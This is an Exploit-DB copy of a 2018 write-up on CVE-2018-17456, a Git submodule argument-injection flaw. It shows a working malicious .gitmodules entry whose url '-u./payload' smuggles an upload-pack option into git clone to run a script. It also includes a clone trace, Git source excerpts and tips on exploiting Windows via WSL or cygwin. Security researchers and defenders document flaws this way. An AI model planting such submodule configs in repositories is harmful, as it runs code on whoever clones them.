Git Submodule – Arbitrary Code Execution

  • 作者: joernchen
    日期: 2018-10-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45631/
  • # CVE-2018-17456
    
    I've gotten a couple of questions about exploitation for the
    [recent RCE](https://marc.info/?l=git&m=153875888916397&w=2) in Git. So here we
    go with some technical details.
    
    ## TL;DR
    
    [Here](https://github.com/joernchen/poc-submodule) is a PoC repository.
    EDB Note: Mirror ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45631.zip
    
    ## Exploitation
    
    The `.gitmodules` file looks as follows:
    
    ```
    [submodule "x:x"]
    	path = x:x
    	url = -u./payload
    ```
    
    The actual command being injected is set by the url, `-u./payload`
    points the `upload-pack` flag of git clone to the `payload` shell
    script. Note also the `:` within the path, this part is needed to
    actually get the `payload` script executed.
    
    The path will end up as the repository URL in the subsequent `clone`
    operation:
    
    ```
    execve("/usr/lib/git-core/git", ["/usr/lib/git-core/git", "clone",
    "--no-checkout", "--progress", "--separate-git-dir",
    "/tmp/huhu/.git/modules/x:x", "-u./payload", "/tmp/huhu/x:x"],...
    ```
    
    As the actual URL from `.gitmodules` is interpreted as the `-u`
    argument.
    
    The colon is due to the fact, that the colon character let us go past
    those lines in `transport.c`:
    
    ```c
    } else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) {
    struct bundle_transport_data *data = xcalloc(1, sizeof(*data));
    transport_check_allowed("file");
    ret->data = data;
    ret->vtable = &bundle_vtable;
    ret->smart_options = NULL;
    ```
    
    Due to `url_is_local_not_ssh` will return false due to the colon
    in the path. And therefore later on in the code the smart_options
    containing the `uploadpack` setting are still in place:
    
    ```c
     } else {
    		/* Unknown protocol in URL. Pass to external handler. */
    		int len = external_specification_len(url);
    		char *handler = xmemdupz(url, len);
    		transport_helper_init(ret, handler);
    	}
    
    	if (ret->smart_options) {
    		ret->smart_options->thin = 1;
    		ret->smart_options->uploadpack = "git-upload-pack";
    		if (remote->uploadpack)
    			ret->smart_options->uploadpack = remote->uploadpack;
    		ret->smart_options->receivepack = "git-receive-pack";1
    		if (remote->receivepack)
    			ret->smart_options->receivepack = remote->receivepack;
    	}
    ```
    
    ## Further hints
    
    The constraint to have a colon in the `path` seems to hinder exploitation on Windows
    as a colon is a forbidden character within a path on Windows. However as noted by
    some people during the disclosure: Git running within the Windows Subsystem for Linux or
    cygwin will allow exploitation on Windows hosts.
    
    Etienne Stalmans who found [a similar issue](https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/)
    earlier this year managed to exploit this argument injection [using `--template`](https://twitter.com/_staaldraad/status/1049241254939246592).